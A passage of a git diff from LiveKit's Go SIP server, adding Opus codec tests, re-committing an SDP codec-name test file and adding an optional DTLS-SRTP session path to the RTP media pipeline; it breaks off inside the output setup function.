OpusSDPName, nil) + require.Nil(t, c, "opus must not appear in defaultCodecs by default") +} + +// TestOpusRegistered verifies the codec is present in msdk.Codecs(), uses a +// dynamic payload type, and runs at the correct 48 kHz clock rate. +func TestOpusRegistered(t *testing.T) { + enableOpusForTest(t) + + c := sdp.CodecByNameWith(defaultCodecs, OpusSDPName, nil) + require.NotNil(t, c, "opus codec must be present in defaultCodecs when enabled") + + _, ok := c.(msdk.AudioCodec) + require.True(t, ok, "opus codec must implement AudioCodec") + + info := c.Info() + require.Equal(t, OpusSDPName, info.SDPName) + require.Equal(t, 48000, info.SampleRate) + require.Equal(t, 48000, info.RTPClockRate) + require.False(t, info.RTPIsStatic, "opus must use a dynamic payload type") +} + +// TestOpusInSDPOffer verifies that after enabling Opus, an SDP offer contains +// an rtpmap line advertising opus/48000/2. +func TestOpusInSDPOffer(t *testing.T) { + enableOpusForTest(t) + + _, md, err := sdp.OfferMediaWith(defaultCodecs, 12345, sdp.EncryptionNone) + require.NoError(t, err) + + var found bool + for _, a := range md.Attributes { + if a.Key == "rtpmap" && strings.Contains(strings.ToLower(a.Value), "opus/48000/2") { + found = true + break + } + } + require.True(t, found, "SDP offer should contain an rtpmap line for opus/48000/2") +} + +// TestOpusPreferredOverG722 verifies codec selection picks Opus (priority 10) +// over G722 (priority -5) and G711 (priority -10/-20) when all are offered. +func TestOpusPreferredOverG722(t *testing.T) { + enableOpusForTest(t) + + opusC, ok := sdp.CodecByNameWith(defaultCodecs, OpusSDPName, nil).(msdk.AudioCodec) + require.True(t, ok, "opus must be an AudioCodec") + + ulawC, ok := sdp.CodecByNameWith(defaultCodecs, g711.ULawSDPName, nil).(msdk.AudioCodec) + require.True(t, ok, "PCMU must be an AudioCodec") + + g722C, ok := sdp.CodecByNameWith(defaultCodecs, g722.SDPName, nil).(msdk.AudioCodec) + require.True(t, ok, "G722 must be an AudioCodec") + + desc := sdp.MediaDesc{ + Codecs: []sdp.CodecInfo{ + {Type: 0, Codec: ulawC}, + {Type: 9, Codec: g722C}, + {Type: 111, Codec: opusC}, + }, + } + got, err := sdp.SelectAudio(desc, false) + require.NoError(t, err) + require.Equal(t, OpusSDPName, got.Codec.Info().SDPName, + "Opus should win priority-based codec selection") + require.Equal(t, byte(111), got.Type, + "peer-assigned payload type 111 must be honored") +} diff --git a/pkg/sip/media_codecs_test.go b/pkg/sip/media_codecs_test.go index ca3208c5c..95ad09b46 100644 --- a/pkg/sip/media_codecs_test.go +++ b/pkg/sip/media_codecs_test.go @@ -1,69 +1,69 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "testing" - - "github.com/livekit/protocol/logger" - "github.com/stretchr/testify/require" -) - -// sdpWithMedia builds a minimal SDP body with the given m= line and attributes. -func sdpWithMedia(media string, attrs ...string) []byte { - body := "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\n" + media + "\r\n" - for _, a := range attrs { - body += a + "\r\n" - } - return []byte(body) -} - -// Testing edge cases that ParseOfferWith sometimes returns -func TestPeerCodecNames(t *testing.T) { - cases := []struct { - name string - sdp []byte - exp []string - }{ - { - // ParseMediaWith diverts telephone-event from a=rtpmap into DTMFType, - // but its payload type stays in m=audio and resolves to no codec. - // Without the skip it would be reported as an unsupported codec - name: "telephone-event is not an unsupported codec", - sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0 101", - "a=rtpmap:0 PCMU/8000", "a=rtpmap:101 telephone-event/8000"), - exp: []string{"PCMU/8000", "telephone-event/8000"}, - }, - { - // No a=rtpmap at all, codecs resolved from the static payload types - name: "static payload types only", - sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0 8"), - exp: []string{"PCMU/8000", "PCMA/8000"}, - }, - { - // A codec listed in both a=rtpmap and m=audio is parsed twice - name: "deduplicated", - sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000"), - exp: []string{"PCMU/8000"}, - }, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, c.sdp) - require.NoError(t, err) - require.ElementsMatch(t, c.exp, peerCodecNames(offer.MediaDesc)) - }) - } -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "testing" + + "github.com/livekit/protocol/logger" + "github.com/stretchr/testify/require" +) + +// sdpWithMedia builds a minimal SDP body with the given m= line and attributes. +func sdpWithMedia(media string, attrs ...string) []byte { + body := "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\n" + media + "\r\n" + for _, a := range attrs { + body += a + "\r\n" + } + return []byte(body) +} + +// Testing edge cases that ParseOfferWith sometimes returns +func TestPeerCodecNames(t *testing.T) { + cases := []struct { + name string + sdp []byte + exp []string + }{ + { + // ParseMediaWith diverts telephone-event from a=rtpmap into DTMFType, + // but its payload type stays in m=audio and resolves to no codec. + // Without the skip it would be reported as an unsupported codec + name: "telephone-event is not an unsupported codec", + sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0 101", + "a=rtpmap:0 PCMU/8000", "a=rtpmap:101 telephone-event/8000"), + exp: []string{"PCMU/8000", "telephone-event/8000"}, + }, + { + // No a=rtpmap at all, codecs resolved from the static payload types + name: "static payload types only", + sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0 8"), + exp: []string{"PCMU/8000", "PCMA/8000"}, + }, + { + // A codec listed in both a=rtpmap and m=audio is parsed twice + name: "deduplicated", + sdp: sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000"), + exp: []string{"PCMU/8000"}, + }, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, c.sdp) + require.NoError(t, err) + require.ElementsMatch(t, c.exp, peerCodecNames(offer.MediaDesc)) + }) + } +} diff --git a/pkg/sip/media_pipeline.go b/pkg/sip/media_pipeline.go index a32d6dfe9..aeb0935de 100644 --- a/pkg/sip/media_pipeline.go +++ b/pkg/sip/media_pipeline.go @@ -1,484 +1,489 @@ -// Copyright 2026 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "errors" - "fmt" - "io" - "math" - "os" - "strings" - "sync" - "sync/atomic" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/jitter" - "github.com/livekit/media-sdk/mixer" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/media-sdk/srtp" - "github.com/livekit/protocol/logger" - "github.com/livekit/sip/pkg/stats" -) - -type MediaPortPipelineConfig struct { - log logger.Logger - opts *MediaOptions - mon *stats.CallMonitor - stats *PortStats - onNewSSRC func() bool - onPacket func() -} - -func NewMediaPortPipeline( - conf *MediaPortPipelineConfig, - mc *sdp.MediaConfig, - port *udpConn, - audioToRoom msdk.PCM16Writer, - dtmfToRoom msdk.WriteCloser[string], - incomingSampleRate int, -) (*mediaPortPipeline, error) { - p := &mediaPortPipeline{ - conf: conf, - } - err := p.init(mc, port, audioToRoom, dtmfToRoom, incomingSampleRate) - if err != nil { - p.Close() - return nil, err - } - return p, nil -} - -// A data structure owning the implementation of everything between a udpConn and two output Switches -// Has two directions, with both audio and optionally DTMF for each. -// Constructed once per negotiation, possibly N times in the lifetime of udpConn/Switch anchors. -type mediaPortPipeline struct { - conf *MediaPortPipelineConfig // Expected to be owned by caller, not managed - - // Owned by pipeline - ctx context.Context - cancel context.CancelFunc - sess rtp.Session - rtpLoopWG sync.WaitGroup - muxToRoom atomic.Pointer[rtp.HandlerCloser] - dtmfMixer *mixer.Mixer - audioToRoom rtp.HandlerCloser - dtmfToRoom rtp.HandlerCloser - dtmfHandler msdk.WriteCloser[string] // Reference, not closed - audioToPort msdk.PCM16Writer // post-mixer chain towards port - mixerToPort msdk.PCM16Writer // Reference, not closed - dtmfToPort msdk.WriteCloser[string] - lastDTMFEvent atomic.Uint64 // composite (timestamp, event code) of last DTMF packet seen -} - -// Returns insulated (nopCloser) connectors, preventing anchor close from closing pipeline. -func (p *mediaPortPipeline) GetConnectors() (msdk.PCM16Writer, msdk.WriteCloser[string]) { - if p.audioToPort == nil { - return nil, nil - } - if p.dtmfToPort == nil { - return msdk.NopCloser(p.mixerToPort), nil - } - return msdk.NopCloser(p.mixerToPort), msdk.NopCloser(p.dtmfToPort) -} - -// Build pipeline between a udpConn and two output Switches. -// Requires fields to be set: -// - log -// - opts -// - mon -// - stats -// - onNewSSRC -// - onPacket -func (p *mediaPortPipeline) init( - mc *sdp.MediaConfig, - port *udpConn, - audioToRoom msdk.PCM16Writer, - dtmfToRoom msdk.WriteCloser[string], - incomingSampleRate int, -) error { - p.ctx, p.cancel = context.WithCancel(context.Background()) - - var crypto string - if mc.Crypto != nil { - crypto = mc.Crypto.Profile.String() - } - p.conf.log.Infow("using codecs", - "audio-codec", mc.Audio.Codec.Info().SDPName, "audio-rtp", mc.Audio.Type, - "dtmf-rtp", mc.Audio.DTMFType, - "srtp", crypto, - ) - - port.SetDst(mc.Remote) - if p.conf.opts.IgnoreLocalAddrInSDP && mc.Remote.Addr().IsPrivate() { - port.SetSymmetric(true) // Already initialized with opts, turn on for edge case - } - p.lastDTMFEvent.Store(math.MaxUint64) - - var err error - if mc.Crypto != nil { - p.sess, err = srtp.NewSession(p.conf.log, port, mc.Crypto) - } else { - p.sess = rtp.NewSession(p.conf.log, port) - } - if err != nil { - return fmt.Errorf("failed to setup pipeline session: %w", err) - } - - err = p.setupInput(mc, audioToRoom, dtmfToRoom) - if err != nil { - return fmt.Errorf("failed to setup pipeline input: %w", err) - } - err = p.setupOutput(mc, incomingSampleRate) - if err != nil { - return fmt.Errorf("failed to setup pipeline output: %w", err) - } - return nil -} - -// Construct the Audio and optionally DTMF pipeline from SIP RTP to LK PCM, in reverse order. -func (p *mediaPortPipeline) setupInput(mc *sdp.MediaConfig, audioToRoom msdk.PCM16Writer, dtmfToRoom msdk.WriteCloser[string]) error { - var err error - var inboundLatencyEntry atomic.Int64 - sink := msdk.NopCloser(audioToRoom) // Prevent pipeline close from closing room - sink = newLatencyPCMExit(sink, &inboundLatencyEntry, &p.conf.stats.LatencyInE2E) - codecInfo := mc.Audio.Codec.Info() - sink = msdk.ResampleWriter(sink, codecInfo.SampleRate) - sink = newMediaWriterCount(sink, &p.conf.stats.AudioInFrames, &p.conf.stats.AudioInSamples) - - if p.conf.opts.LogSignalChanges { - sink, err = NewSignalLogger(p.conf.log, "input", sink) - if err != nil { - sink.Close() - return err - } - } - - audioHandler := rtp.DecodePCM(sink, mc.Audio.Codec, mc.Audio.Type) - - // SilenceFiller injects silence after decoding, but it needs access to RTP headers - // And these are only available before decoding, hence it wraps both audioHandler & sink - audioHandler = newSilenceFiller(audioHandler, sink, codecInfo.RTPClockRate, codecInfo.SampleRate, p.conf.log) - - audioHandler = NewSerializedRTPHandler(audioHandler) // SilenceFiller/Codecs are not thread-safe - - mux := rtp.NewMux(nil) - mux.SetDefault(newRTPStatsHandler(p.conf.mon, "", nil)) - - audioType := newRTPHandlerCount( - newRTPStatsHandler(p.conf.mon, codecInfo.SDPName, audioHandler), - &p.conf.stats.AudioPackets, &p.conf.stats.AudioBytes, - ) - p.audioToRoom = audioType - mux.Register(mc.Audio.Type, audioType) - - if mc.Audio.DTMFType != 0 { - p.dtmfHandler = dtmfToRoom // Close doesn't propagate through rtp.HandlerFunc - dtmfType := newRTPHandlerCount( - newRTPStatsHandler(p.conf.mon, dtmf.SDPNameAndRate, rtp.HandlerFunc(p.handleEventRTP)), - &p.conf.stats.DTMFPackets, &p.conf.stats.DTMFBytes, - ) - p.dtmfToRoom = dtmfType - mux.Register(mc.Audio.DTMFType, dtmfType) - } - - var hnd rtp.HandlerCloser = newRTPStreamStats(mux, &p.conf.stats.MuxStats) - if p.conf.opts.EnableJitterBuffer { - hnd = rtp.HandleJitter(hnd, jitter.WithPacketLossHandler(func(packetsLost, packetsDropped uint64) { - p.conf.stats.JitterBufferPacketsLost.Store(packetsLost) - p.conf.stats.JitterBufferPacketsDropped.Store(packetsDropped) - })) - } - hnd = newLatencyRTPEntry(hnd, &inboundLatencyEntry) - - p.muxToRoom.Store(&hnd) - return nil -} - -// Processes an incoming telephony-event packet, turns into SipDTMF, and forwards it. -func (p *mediaPortPipeline) handleEventRTP(h *rtp.Header, payload []byte) error { - ev, err := dtmf.Decode(payload) - if err != nil { - return nil - } - // RFC 4733 requires all packets of a given digit to share identical timestamps. - // Some SIP devices or carriers may reuse the timestamp of the previous digit - // for the next one, so we combine timestamp and event code for deduplication. - // The marker bit could be used instead, but it is prone to occasional loss. - eventID := uint64(h.Timestamp)<<8 | uint64(ev.Code) - if eventID == p.lastDTMFEvent.Load() { - return nil - } - p.lastDTMFEvent.Store(eventID) - return p.dtmfHandler.WriteSample(string(ev.Digit)) -} - -// Construct the Audio and optionally DTMF pipeline from LK PCM to SIP RTP -// Returns the insulated (nopCloser) connectors, and an error. -func (p *mediaPortPipeline) setupOutput(mc *sdp.MediaConfig, incomingSampleRate int) error { - p.rtpLoopWG.Go(p.rtpLoop) - w, err := p.sess.OpenWriteStream() - if err != nil { - return fmt.Errorf("failed to open write stream: %w", err) - } - - // Latency measurement: shared timestamp between entry (PCM writer) and exit (RTP writer). - var outboundLatencyEntry atomic.Int64 - - codecInfo := mc.Audio.Codec.Info() - w = newLatencyRTPExit(w, &outboundLatencyEntry, &p.conf.stats.LatencyOut) - w = newRTPStatsWriter(p.conf.mon, mc.Audio.Type, mc.Audio.DTMFType, codecInfo.SDPName, dtmf.SDPName, w) - s := rtp.NewSeqWriter(w) - audioOutRTP := s.NewStream(mc.Audio.Type, codecInfo.RTPClockRate) - - audioOut := rtp.EncodePCM(audioOutRTP, mc.Audio.Codec) - - audioOut = newMediaWriterCount(audioOut, &p.conf.stats.AudioOutFrames, &p.conf.stats.AudioOutSamples) - - if p.conf.opts.LogSignalChanges { - audioOut, err = NewSignalLogger(p.conf.log, "mixed", audioOut) - if err != nil { - audioOut.Close() // need to close since it's not linked to the port yet - return err - } - } - - audioOut = msdk.ResampleWriter(audioOut, incomingSampleRate) - - audioOut = newLatencyPCMEntry(audioOut, &outboundLatencyEntry) - - p.audioToPort = audioOut - p.mixerToPort = audioOut - - if mc.Audio.DTMFType != 0 { - var dtmfAudio msdk.PCM16Writer = nil - if p.conf.opts.DTMFAudio { - // Add separate mixer for DTMF audio. - // TODO: optimize, if we'll ever need this code path - mix, err := mixer.NewMixer(audioOut, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) - if err != nil { - return err - } - audioOut = mix.NewInput() - dtmfAudio = mix.NewInput() - p.dtmfMixer = mix - p.mixerToPort = audioOut - } - - p.dtmfToPort = &dtmfOutWriter{ - log: p.conf.log, - ctx: p.ctx, - dtmfEvents: s.NewStream(mc.Audio.DTMFType, dtmf.SampleRate), - dtmfAudio: dtmfAudio, - getTimestamp: audioOutRTP.GetCurrentTimestamp, - } - } - return nil -} - -func (p *mediaPortPipeline) rtpLoop() { - // Need a loop to process all incoming packets. - for { - r, ssrc, err := p.sess.AcceptStream() - if err != nil { - if !errors.Is(err, io.EOF) && !errors.Is(err, os.ErrDeadlineExceeded) && !strings.Contains(err.Error(), "closed") { - p.conf.log.Errorw("cannot accept RTP stream", err) - } - return - } - p.conf.stats.Streams.Add(1) - if p.conf.onNewSSRC != nil { - p.conf.onNewSSRC() - } - log := p.conf.log.WithValues("ssrc", ssrc) - log.Debugw("accepting RTP stream") - p.rtpLoopWG.Go(func() { p.rtpReadLoop(log, r) }) - } -} - -func (p *mediaPortPipeline) rtpReadLoop(log logger.Logger, r rtp.ReadStream) { - const maxErrors = 50 // 1 sec, given 20 ms frames - buf := make([]byte, rtp.MTUSize+1) - overflow := false - var ( - h rtp.Header - errorCnt int - ) - for { - h = rtp.Header{} - n, err := r.ReadRTP(&h, buf) - if err == io.EOF { - return - } else if err != nil { - log.Errorw("read RTP failed", err) - return - } - if p.conf.onPacket != nil { - p.conf.onPacket() - } - p.conf.stats.Packets.Add(1) - if n > rtp.MTUSize { - if !overflow { - overflow = true - log.Errorw("RTP packet is larger than MTU limit", nil, "payloadSize", n) - } - p.conf.stats.IgnoredPackets.Add(1) - continue // ignore partial messages - } - - ptr := p.muxToRoom.Load() - if ptr == nil { - p.conf.stats.IgnoredPackets.Add(1) - continue - } - hnd := *ptr - if hnd == nil { - p.conf.stats.IgnoredPackets.Add(1) - continue - } - err = hnd.HandleRTP(&h, buf[:n]) - if err != nil { - log := log.WithValues( - "payloadSize", n, - "rtpHeader", h, - "pipeline", hnd.String(), - "errorCount", errorCnt, - ) - log.Debugw("handle RTP failed", "error", err) - errorCnt++ - p.conf.stats.FailedPackets.Add(1) - if errorCnt >= maxErrors { - log.Errorw("killing RTP loop due to persisted errors", err) - return - } - continue - } - p.conf.stats.InputPackets.Add(1) - errorCnt = 0 - } -} - -func (p *mediaPortPipeline) Close() error { - if p.cancel != nil { - p.cancel() // stop active DTMF digit send - } - var errs []error - if p.sess != nil { - errs = append(errs, p.sess.Close()) - p.rtpLoopWG.Wait() - } - if closer := p.muxToRoom.Swap(nil); closer != nil { - (*closer).Close() // Doesn't propagate onwards - } - if p.audioToRoom != nil { - p.audioToRoom.Close() - } - if p.dtmfToRoom != nil { - p.dtmfToRoom.Close() - } - if p.dtmfMixer != nil { - p.dtmfMixer.Stop() - } - if p.audioToPort != nil { - errs = append(errs, p.audioToPort.Close()) - } - if p.dtmfToPort != nil { - errs = append(errs, p.dtmfToPort.Close()) - } - return errors.Join(errs...) -} - -func NewSerializedRTPHandler(w rtp.HandlerCloser) rtp.HandlerCloser { - return &serializedRTPHandler{w: w} -} - -type serializedRTPHandler struct { - mu sync.Mutex - w rtp.HandlerCloser -} - -func (s *serializedRTPHandler) String() string { - return s.w.String() -} - -func (s *serializedRTPHandler) HandleRTP(h *rtp.Header, payload []byte) error { - s.mu.Lock() - defer s.mu.Unlock() - return s.w.HandleRTP(h, payload) -} - -func (s *serializedRTPHandler) Close() { - s.mu.Lock() - defer s.mu.Unlock() - s.w.Close() -} - -// dtmfOutWriter sends SipDTMF as RFC 4733 telephone-events (optional in-band audio). -type dtmfOutWriter struct { - log logger.Logger - - mu sync.Mutex - ctx context.Context // canceled by pipeline Close, aborts an in-flight digit train - dtmfEvents *rtp.Stream - dtmfAudio msdk.PCM16Writer - getTimestamp func() uint32 -} - -func (w *dtmfOutWriter) String() string { - return fmt.Sprintf("dtmfOutWriter(dtmfAudio: %v)", w.dtmfAudio != nil) -} - -func (w *dtmfOutWriter) SampleRate() int { - return dtmf.SampleRate -} - -func (w *dtmfOutWriter) Close() error { - if w == nil || w.dtmfAudio == nil { - return nil - } - return w.dtmfAudio.Close() -} - -func (w *dtmfOutWriter) WriteSample(sample string) error { - if len(sample) == 0 { - return fmt.Errorf("empty DTMF sample") - } - var errs []error - for i, digit := range sample { - if digit == 'w' { // Supported pause - continue - } - if _, tones := dtmf.Tone(byte(digit)); len(tones) == 0 { - errs = append(errs, fmt.Errorf("invalid DTMF sample %v at position %d", digit, i)) - } - } - if len(errs) > 0 { - return errors.Join(errs...) - } - w.mu.Lock() - defer w.mu.Unlock() - var rtpTs uint32 - if w.dtmfEvents != nil { - rtpTs = w.getTimestamp() // TODO: Maybe time to introduce the auto timestamp feature? - } - err := dtmf.Write(w.ctx, w.dtmfAudio, w.dtmfEvents, rtpTs, sample) - if err != nil { - return err - } - return nil -} +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "errors" + "fmt" + "io" + "math" + "net" + "os" + "strings" + "sync" + "sync/atomic" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/jitter" + "github.com/livekit/media-sdk/mixer" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/media-sdk/srtp" + "github.com/livekit/protocol/logger" + "github.com/livekit/sip/pkg/stats" +) + +type MediaPortPipelineConfig struct { + log logger.Logger + opts *MediaOptions + mon *stats.CallMonitor + stats *PortStats + onNewSSRC func() bool + onPacket func() + dtls *dtlsMediaConfig +} + +func NewMediaPortPipeline( + conf *MediaPortPipelineConfig, + mc *sdp.MediaConfig, + port *udpConn, + audioToRoom msdk.PCM16Writer, + dtmfToRoom msdk.WriteCloser[string], + incomingSampleRate int, +) (*mediaPortPipeline, error) { + p := &mediaPortPipeline{ + conf: conf, + } + err := p.init(mc, port, audioToRoom, dtmfToRoom, incomingSampleRate) + if err != nil { + p.Close() + return nil, err + } + return p, nil +} + +// A data structure owning the implementation of everything between a udpConn and two output Switches +// Has two directions, with both audio and optionally DTMF for each. +// Constructed once per negotiation, possibly N times in the lifetime of udpConn/Switch anchors. +type mediaPortPipeline struct { + conf *MediaPortPipelineConfig // Expected to be owned by caller, not managed + + // Owned by pipeline + ctx context.Context + cancel context.CancelFunc + sess rtp.Session + rtpLoopWG sync.WaitGroup + muxToRoom atomic.Pointer[rtp.HandlerCloser] + dtmfMixer *mixer.Mixer + audioToRoom rtp.HandlerCloser + dtmfToRoom rtp.HandlerCloser + dtmfHandler msdk.WriteCloser[string] // Reference, not closed + audioToPort msdk.PCM16Writer // post-mixer chain towards port + mixerToPort msdk.PCM16Writer // Reference, not closed + dtmfToPort msdk.WriteCloser[string] + lastDTMFEvent atomic.Uint64 // composite (timestamp, event code) of last DTMF packet seen +} + +// Returns insulated (nopCloser) connectors, preventing anchor close from closing pipeline. +func (p *mediaPortPipeline) GetConnectors() (msdk.PCM16Writer, msdk.WriteCloser[string]) { + if p.audioToPort == nil { + return nil, nil + } + if p.dtmfToPort == nil { + return msdk.NopCloser(p.mixerToPort), nil + } + return msdk.NopCloser(p.mixerToPort), msdk.NopCloser(p.dtmfToPort) +} + +// Build pipeline between a udpConn and two output Switches. +// Requires fields to be set: +// - log +// - opts +// - mon +// - stats +// - onNewSSRC +// - onPacket +func (p *mediaPortPipeline) init( + mc *sdp.MediaConfig, + port *udpConn, + audioToRoom msdk.PCM16Writer, + dtmfToRoom msdk.WriteCloser[string], + incomingSampleRate int, +) error { + p.ctx, p.cancel = context.WithCancel(context.Background()) + + var crypto string + if mc.Crypto != nil { + crypto = mc.Crypto.Profile.String() + } + p.conf.log.Infow("using codecs", + "audio-codec", mc.Audio.Codec.Info().SDPName, "audio-rtp", mc.Audio.Type, + "dtmf-rtp", mc.Audio.DTMFType, + "srtp", crypto, + ) + + port.SetDst(mc.Remote) + if p.conf.opts.IgnoreLocalAddrInSDP && mc.Remote.Addr().IsPrivate() { + port.SetSymmetric(true) // Already initialized with opts, turn on for edge case + } + p.lastDTMFEvent.Store(math.MaxUint64) + + var err error + if p.conf.dtls != nil { + remote := &net.UDPAddr{IP: mc.Remote.Addr().AsSlice(), Port: int(mc.Remote.Port())} + p.sess = newDTLSSRTPSession(p.conf.log, port, p.conf.dtls, p.conf.opts.DTLSHandshakeTimeout, remote) + } else if mc.Crypto != nil { + p.sess, err = srtp.NewSession(p.conf.log, port, mc.Crypto) + } else { + p.sess = rtp.NewSession(p.conf.log, port) + } + if err != nil { + return fmt.Errorf("failed to setup pipeline session: %w", err) + } + + err = p.setupInput(mc, audioToRoom, dtmfToRoom) + if err != nil { + return fmt.Errorf("failed to setup pipeline input: %w", err) + } + err = p.setupOutput(mc, incomingSampleRate) + if err != nil { + return fmt.Errorf("failed to setup pipeline output: %w", err) + } + return nil +} + +// Construct the Audio and optionally DTMF pipeline from SIP RTP to LK PCM, in reverse order. +func (p *mediaPortPipeline) setupInput(mc *sdp.MediaConfig, audioToRoom msdk.PCM16Writer, dtmfToRoom msdk.WriteCloser[string]) error { + var err error + var inboundLatencyEntry atomic.Int64 + sink := msdk.NopCloser(audioToRoom) // Prevent pipeline close from closing room + sink = newLatencyPCMExit(sink, &inboundLatencyEntry, &p.conf.stats.LatencyInE2E) + codecInfo := mc.Audio.Codec.Info() + sink = msdk.ResampleWriter(sink, codecInfo.SampleRate) + sink = newMediaWriterCount(sink, &p.conf.stats.AudioInFrames, &p.conf.stats.AudioInSamples) + + if p.conf.opts.LogSignalChanges { + sink, err = NewSignalLogger(p.conf.log, "input", sink) + if err != nil { + sink.Close() + return err + } + } + + audioHandler := rtp.DecodePCM(sink, mc.Audio.Codec, mc.Audio.Type) + + // SilenceFiller injects silence after decoding, but it needs access to RTP headers + // And these are only available before decoding, hence it wraps both audioHandler & sink + audioHandler = newSilenceFiller(audioHandler, sink, codecInfo.RTPClockRate, codecInfo.SampleRate, p.conf.log) + + audioHandler = NewSerializedRTPHandler(audioHandler) // SilenceFiller/Codecs are not thread-safe + + mux := rtp.NewMux(nil) + mux.SetDefault(newRTPStatsHandler(p.conf.mon, "", nil)) + + audioType := newRTPHandlerCount( + newRTPStatsHandler(p.conf.mon, codecInfo.SDPName, audioHandler), + &p.conf.stats.AudioPackets, &p.conf.stats.AudioBytes, + ) + p.audioToRoom = audioType + mux.Register(mc.Audio.Type, audioType) + + if mc.Audio.DTMFType != 0 { + p.dtmfHandler = dtmfToRoom // Close doesn't propagate through rtp.HandlerFunc + dtmfType := newRTPHandlerCount( + newRTPStatsHandler(p.conf.mon, dtmf.SDPNameAndRate, rtp.HandlerFunc(p.handleEventRTP)), + &p.conf.stats.DTMFPackets, &p.conf.stats.DTMFBytes, + ) + p.dtmfToRoom = dtmfType + mux.Register(mc.Audio.DTMFType, dtmfType) + } + + var hnd rtp.HandlerCloser = newRTPStreamStats(mux, &p.conf.stats.MuxStats) + if p.conf.opts.EnableJitterBuffer { + hnd = rtp.HandleJitter(hnd, jitter.WithPacketLossHandler(func(packetsLost, packetsDropped uint64) { + p.conf.stats.JitterBufferPacketsLost.Store(packetsLost) + p.conf.stats.JitterBufferPacketsDropped.Store(packetsDropped) + })) + } + hnd = newLatencyRTPEntry(hnd, &inboundLatencyEntry) + + p.muxToRoom.Store(&hnd) + return nil +} + +// Processes an incoming telephony-event packet, turns into SipDTMF, and forwards it. +func (p *mediaPortPipeline) handleEventRTP(h *rtp.Header, payload []byte) error { + ev, err := dtmf.Decode(payload) + if err != nil { + return nil + } + // RFC 4733 requires all packets of a given digit to share identical timestamps. + // Some SIP devices or carriers may reuse the timestamp of the previous digit + // for the next one, so we combine timestamp and event code for deduplication. + // The marker bit could be used instead, but it is prone to occasional loss. + eventID := uint64(h.Timestamp)<<8 | uint64(ev.Code) + if eventID == p.lastDTMFEvent.Load() { + return nil + } + p.lastDTMFEvent.Store(eventID) + return p.dtmfHandler.WriteSample(string(ev.Digit)) +} + +// Construct the Audio and optionally DTMF pipeline from LK PCM to SIP RTP +// Returns the insulated (nopCloser) connectors, and an error. +func (p *mediaPortPipeline) setupOutput(mc *sdp.MediaConfig, incomingSampleRate int) error { + p.rtpLoopWG.Go(p.rtpLoop) + w, err := p.sess.OpenWriteStream() + if err != nil { + return fmt.Errorf("failed to open write stream: %w", err) + } + + // Latency measurement: shared timestamp between entry (PCM writer) and exit (RTP writer). + var outboundLatencyEntry atomic.Int64 + + codecInfo := mc.Audio.Codec.Info() + w = newLatencyRTPExit(w, &outboundLatencyEntry, &p.conf.stats.LatencyOut) + w = newRTPStatsWriter(p.conf.mon, mc.Audio.Type, mc.Audio.DTMFType, codecInfo.SDPName, dtmf.SDPName, w) + s := rtp.NewSeqWriter(w) + audioOutRTP := s.NewStream(mc.Audio.Type, codecInfo.RTPClockRate) + + audioOut := rtp.EncodePCM(audioOutRTP, mc.Audio.Codec) + + audioOut = newMediaWriterCount(audioOut, &p.conf.stats.AudioOutFrames, &p.conf.stats.AudioOutSamples) + + if p.conf.opts.LogSignalChanges { + audioOut, err = NewSignalLogger(p.conf.log, "mixed", audioOut) + if err != nil { + audioOut.Close() // need to close since it's not linked to the port yet + return err + } + } + + audioOut = msdk.ResampleWriter(audioOut, incomingSampleRate) + + audioOut = newLatencyPCMEntry(audioOut, &outboundLatencyEntry) + + p.audioToPort = audioOut + p.mixerToPort = audioOut + + if mc.Audio.DTMFType != 0 { + var dtmfAudio msdk.PCM16Writer = nil + 